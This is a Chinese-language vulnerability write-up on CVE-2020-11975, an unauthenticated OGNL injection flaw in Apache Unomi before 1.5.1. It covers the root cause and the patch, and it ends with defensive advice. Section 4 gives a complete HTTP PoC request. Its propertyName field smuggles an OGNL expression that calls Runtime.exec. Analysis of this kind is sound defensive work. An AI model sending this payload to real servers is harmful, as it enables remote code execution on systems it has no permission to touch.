漏洞分析 - Apache Unomi RCE 第1篇 OGNL注入(CVE-2020-11975)
字数 1436 2025-08-19 12:41:20

Apache Unomi RCE漏洞分析(CVE-2020-11975):OGNL注入漏洞详解

1. Apache Unomi概述

Apache Unomi是一个Java开源客户数据平台,主要用途包括:

  • 在各种系统(CMS、CRM、问题跟踪系统、移动应用等)中整合个性化功能
  • 提供配置文件管理功能
  • 2019年成为Apache顶级项目,具有高度可扩展性和易用性

2. 漏洞基本信息

漏洞编号:CVE-2020-11975
漏洞类型:OGNL注入导致的远程代码执行(RCE)
影响版本:Apache Unomi < 1.5.1
触发前提:无需身份验证,能访问到服务即可利用
漏洞发现者:Yiming Xiang of NSFOCUS

3. 漏洞原理分析

3.1 漏洞背景

Unomi提供了:

  1. 受限API(需要授权)用于数据操作
  2. 公开endpoint用于上传和检索用户数据

Unomi允许在这些endpoint的HTTP请求中包含复杂的conditions(条件),这些条件依赖于表达式语言(如OGNL或MVEL)来构造复杂查询。

3.2 漏洞根源

在1.5.1之前的版本中,表达式语言(OGNL/MVEL)完全不受限制,导致可以通过EL注入实现RCE。

关键问题代码位于:
plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java

public class PropertyConditionEvaluator implements ConditionEvaluator {
    protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
        ExpressionAccessor accessor = getPropertyAccessor(item, expression);
        return accessor != null ? accessor.get(getOgnlContext(), item) : null;
    }
}

3.3 漏洞触发流程

  1. Unomi接收包含恶意OGNL表达式的JSON请求
  2. 系统首先尝试查找硬编码属性
  3. 若未找到,则调用getOGNLPropertyValue方法
  4. 该方法将用户输入的属性名作为OGNL表达式直接执行
  5. ExpressionAccessor使用默认参数执行OGNL表达式,导致任意代码执行

4. 漏洞利用(PoC)

4.1 攻击示例

POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749

{
    "personalizations": [{
        "id": "gender-test_anystr",
        "strategy": "matching-first",
        "strategyOptions": {
            "fallback": "var2"
        },
        "contents": [{
            "filters": [{
                "condition": {
                    "parameterValues": {
                        "propertyName": "(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
                        "comparisonOperator": "equals_anystr",
                        "propertyValue": "male_anystr"
                    },
                    "type": "profilePropertyCondition"
                }
            }]
        }]
    }],
    "sessionId": "test-demo-session-id"
}

4.2 攻击效果

成功执行系统命令(如打开计算器),响应返回200 OK。

5. 漏洞修复分析

5.1 修复方案

主要修复措施是引入SecureFilteringClassLoader限制OGNL和MVEL表达式的执行。

5.1.1 OGNL修复代码

protected Object getOGNLPropertyValue(Item item, String expression) throws Exception {
    ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(PropertyConditionEvaluator.class.getClassLoader());
    OgnlContext ognlContext = getOgnlContext(secureFilteringClassLoader);
    ExpressionAccessor accessor = getPropertyAccessor(item, expression, ognlContext, secureFilteringClassLoader);
    return accessor != null ? accessor.get(ognlContext, item) : null;
}

5.1.2 MVEL修复代码

private static Object executeScript(Map<String, Object> context, String script) {
    final ClassLoader tccl = Thread.currentThread().getContextClassLoader();
    try {
        if (!mvelExpressions.containsKey(script)) {
            ClassLoader secureFilteringClassLoader = new SecureFilteringClassLoader(ConditionContextHelper.class.getClassLoader());
            Thread.currentThread().setContextClassLoader(secureFilteringClassLoader);
            ParserConfiguration parserConfiguration = new ParserConfiguration();
            parserConfiguration.setClassLoader(secureFilteringClassLoader);
            mvelExpressions.put(script, MVEL.compileExpression(script, new ParserContext(parserConfiguration)));
        }
        return MVEL.executeExpression(mvelExpressions.get(script), context);
    } finally {
        Thread.currentThread().setContextClassLoader(tccl);
    }
}

5.2 SecureFilteringClassLoader实现

@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
    if (forbiddenClasses != null && classNameMatches(forbiddenClasses, name)) {
        throw new ClassNotFoundException("Access to class " + name + " not allowed");
    }
    if (allowedClasses != null && !classNameMatches(allowedClasses, name)) {
        throw new ClassNotFoundException("Access to class " + name + " not allowed");
    }
    return delegate.loadClass(name);
}

5.3 修复效果

  1. 对于OGNL表达式:

    • 使用@符号静态访问对象类时会调用loadClass()
    • java.lang.Runtime.getRuntime()会被SecureFilteringClassLoader拦截
  2. 对于MVEL表达式:

    • 使用new创建对象时会调用loadClass()
    • 只能创建来自allowlist的类实例
    • 注意:未限制使用已存在的对象

6. 漏洞总结

  1. CVE-2020-11975是OGNL注入漏洞,可导致无需认证的RCE
  2. 修复方案通过SecureFilteringClassLoader限制危险类加载
  3. 修复同时考虑了OGNL和MVEL表达式
  4. 该修复不完全,后续被发现存在绕过(CVE-2020-13942)

7. 安全建议

  1. 升级到Apache Unomi 1.5.1或更高版本
  2. 实施网络访问控制,限制Unomi服务的访问范围
  3. 监控异常请求,特别是包含OGNL/MVEL表达式的请求
  4. 定期进行安全审计和漏洞扫描
Apache Unomi RCE漏洞分析(CVE-2020-11975):OGNL注入漏洞详解 1. Apache Unomi概述 Apache Unomi是一个Java开源客户数据平台,主要用途包括: 在各种系统(CMS、CRM、问题跟踪系统、移动应用等)中整合个性化功能 提供配置文件管理功能 2019年成为Apache顶级项目,具有高度可扩展性和易用性 2. 漏洞基本信息 漏洞编号 :CVE-2020-11975 漏洞类型 :OGNL注入导致的远程代码执行(RCE) 影响版本 :Apache Unomi < 1.5.1 触发前提 :无需身份验证,能访问到服务即可利用 漏洞发现者 :Yiming Xiang of NSFOCUS 3. 漏洞原理分析 3.1 漏洞背景 Unomi提供了: 受限API(需要授权)用于数据操作 公开endpoint用于上传和检索用户数据 Unomi允许在这些endpoint的HTTP请求中包含复杂的conditions(条件),这些条件依赖于表达式语言(如OGNL或MVEL)来构造复杂查询。 3.2 漏洞根源 在1.5.1之前的版本中,表达式语言(OGNL/MVEL)完全不受限制,导致可以通过EL注入实现RCE。 关键问题代码位于: plugins/baseplugin/src/main/java/org/apache/unomi/plugins/baseplugin/conditions/PropertyConditionEvaluator.java 3.3 漏洞触发流程 Unomi接收包含恶意OGNL表达式的JSON请求 系统首先尝试查找硬编码属性 若未找到,则调用 getOGNLPropertyValue 方法 该方法将用户输入的属性名作为OGNL表达式直接执行 ExpressionAccessor 使用默认参数执行OGNL表达式,导致任意代码执行 4. 漏洞利用(PoC) 4.1 攻击示例 4.2 攻击效果 成功执行系统命令(如打开计算器),响应返回200 OK。 5. 漏洞修复分析 5.1 修复方案 主要修复措施是引入 SecureFilteringClassLoader 限制OGNL和MVEL表达式的执行。 5.1.1 OGNL修复代码 5.1.2 MVEL修复代码 5.2 SecureFilteringClassLoader实现 5.3 修复效果 对于OGNL表达式: 使用 @ 符号静态访问对象类时会调用 loadClass() 如 java.lang.Runtime.getRuntime() 会被 SecureFilteringClassLoader 拦截 对于MVEL表达式: 使用 new 创建对象时会调用 loadClass() 只能创建来自allowlist的类实例 注意:未限制使用已存在的对象 6. 漏洞总结 CVE-2020-11975是OGNL注入漏洞,可导致无需认证的RCE 修复方案通过 SecureFilteringClassLoader 限制危险类加载 修复同时考虑了OGNL和MVEL表达式 该修复不完全,后续被发现存在绕过(CVE-2020-13942) 7. 安全建议 升级到Apache Unomi 1.5.1或更高版本 实施网络访问控制,限制Unomi服务的访问范围 监控异常请求,特别是包含OGNL/MVEL表达式的请求 定期进行安全审计和漏洞扫描